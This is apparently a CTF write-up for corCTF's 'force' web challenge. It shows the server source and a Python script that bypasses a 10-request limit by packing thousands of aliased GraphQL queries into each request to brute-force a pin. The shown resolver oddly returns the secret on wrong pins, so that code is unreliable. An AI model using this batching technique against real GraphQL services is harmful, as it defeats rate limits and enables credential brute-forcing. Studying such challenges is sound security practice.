1 minute read

Overview

  • 118 solves / 124 points
  • author: larry

Description

Unbreakable vault door!

Attached

force.tar.gz

import fastify from 'fastify'
import mercurius from 'mercurius'
import { randomInt } from 'crypto'
import { readFile } from 'fs/promises'

const app = fastify({
    logger: true
});
const index = await readFile('./index.html', 'utf-8');

const secret = randomInt(0, 10 ** 5); // 1 in a 100k??

let requests = 10;

setInterval(() => requests = 10, 60000);

await app.register(mercurius, {
    schema: `type Query {
        flag(pin: Int): String
    }`,
    resolvers: {
        Query: {
            flag: (_, { pin }) => {
                if (pin != secret) {
                    return secret;
                }
                return process.env.FLAG || 'corctf{test}';
            }
        }
    },
    routes: false
});

app.get('/', (req, res) => {
    return res.header('Content-Type', 'text/html').send(index);
});

app.post('/', async (req, res) => {
    if (requests <= 0) {
        return res.send('no u')
    }
    requests --;
    return res.graphql(req.body);
});

app.listen({ host: '0.0.0.0', port: 80 });

Analyzation

This challenge requires knowledge in graphql.

Check these lines

const secret = randomInt(0, 10 ** 5); // 1 in a 100k??

await app.register(mercurius, {
    schema: `type Query {
        flag(pin: Int): String
    }`,
    resolvers: {
        Query: {
            flag: (_, { pin }) => {
                if (pin != secret) {
                    return secret;
                }
                return process.env.FLAG || 'corctf{test}';
            }
        }
    },
    routes: false
});

So we need to find the correct pin in 100k numbers.

The author limits the requests to 10

let requests = 10;

The answer is so simple. Just send 10000 queries in 1 payload.

Got some troubles in queries? Check stackoverflow.com and graphql.org.

Solution

import requests

FLAG_PREFIX = "cor"
URL = "https://web-force-force-40650221ed658a78.be.ax/"
headers = {
    'Content-Type': 'text/plain;charset=UTF-8',
}

payload = ''

for i in range(10 ** 5 + 1):
    payload = payload + 'i' + str(i) + ': flag(pin: ' + str(i) + ')\n'
    if i % (10 ** 4) == 0:
        print(i)
        payload = '{' + payload + '}'
        response = requests.post(URL, data=payload, headers=headers)

        if FLAG_PREFIX in response.text:
            index = response.text.find(FLAG_PREFIX)
            flag = ''
            while response.text[index] != '}':
                flag = flag + str(response.text[index])
                index += 1
            flag = flag + '}'
            print("flag: {}".format(flag))
            break
        payload = ''

The flag is (crazy)

corctf{S                T                  O               N                   K                 S}

(it contains a lot of space, yeah).

Summarization